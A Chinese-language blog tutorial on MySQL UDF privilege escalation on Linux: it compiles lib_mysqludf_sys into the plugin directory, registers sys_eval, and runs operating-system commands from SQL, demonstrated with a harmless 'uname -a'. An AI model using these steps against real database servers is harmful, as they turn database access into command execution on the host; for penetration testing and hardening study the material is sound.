同福

【MySQL】MySql使用UDF提权(Linux)

引言

介绍

我们采用lib_mysqludf_sys这个库来实现

直接使用 https://github.com/mysqludf/lib_mysqludf_sys 上面的库会报错

mysql> create function sys_eval returns string soname 'lib_mysqludf_sys.so';
ERROR 1126 (HY000): Can't open shared library 'lib_mysqludf_sys.so' (errno: 11 /u01/gnway/mysql/lib/plugin/lib_mysqludf_sys.so: wrong ELF class: ELFCLASS32)

错误的意思是:我们使用了32位的动态库在64位系统上。

这年头谁还用32位啊??

只能重新编译一个64位版本的了!

手动编译

文件列表

lib_mysqludf_sys有这么几个文件

-rw-r--r-- 1 root root   168 Dec 27 16:38 Makefile
-rwxr-xr-x 1 root root  1544 Feb 21  2013 install.sh
-rw-r--r-- 1 root root  7715 Feb 21  2013 lib_mysqludf_sys.c
-rw-r--r-- 1 root root  9934 Feb 21  2013 lib_mysqludf_sys.html
-rwxr-xr-x 1 root root 12896 Feb 21  2013 lib_mysqludf_sys.so
-rw-r--r-- 1 root root  1647 Feb 21  2013 lib_mysqludf_sys.sql

我们只用lib_mysqludf_sys.c这个文件即可

准备手动编译

检查环境

检查是否有gcc编译工具

gcc -v

如果没有的话,可以通过yum安装一下

yum -y install gcc

编译动态库

进入mysql

查询主目录

mysql> show variables like '%basedir%';
+---------------+-------------------------------+
| Variable_name | Value                         |
+---------------+-------------------------------+
| basedir       | /tongfu.net/env/mysql/        |
+---------------+-------------------------------+
1 row in set (0.00 sec)

查询插件目录

mysql> show variables like '%plugin_dir%';
+---------------+------------------------------------------+
| Variable_name | Value                                    |
+---------------+------------------------------------------+
| plugin_dir    | /tongfu.net/env/mysql/lib/plugin/ |
+---------------+------------------------------------------+
1 row in set (0.00 sec)

执行编译命令

gcc -DMYSQL_DYNAMIC_PLUGIN -fPIC -Wall -I/tongfu.net/env/mysql/include -I. -shared lib_mysqludf_sys.c -o /tongfu.net/env/mysql/lib/plugin/lib_mysqludf_sys.so

安装UDF库

创建UDF方法

进入mysql,注册sys_eval方法

mysql> create function sys_eval returns string soname 'lib_mysqludf_sys.so';
Query OK, 0 rows affected (0.04 sec)

测试UDF方法

进入mysql,通过select语句测试sys_eval方法

mysql> select sys_eval('uname -a');
+----------------------------------------------------------------------------------------------------+
| sys_eval('uname -a')                                                                               |
+----------------------------------------------------------------------------------------------------+
| Linux mysvr 3.10.5-3.el6.x86_64 #1 SMP Tue Aug 20 14:10:49 UTC 2013 x86_64 x86_64 x86_64 GNU/Linux |
+----------------------------------------------------------------------------------------------------+
1 row in set (0.03 sec)

其他方法

sys_get

用于获取系统变量

sys_set

用于设置系统变量

sys_exec

用于执行系统命令,并打印返回码

sys_eval

用于执行系统命令,并打印标准输出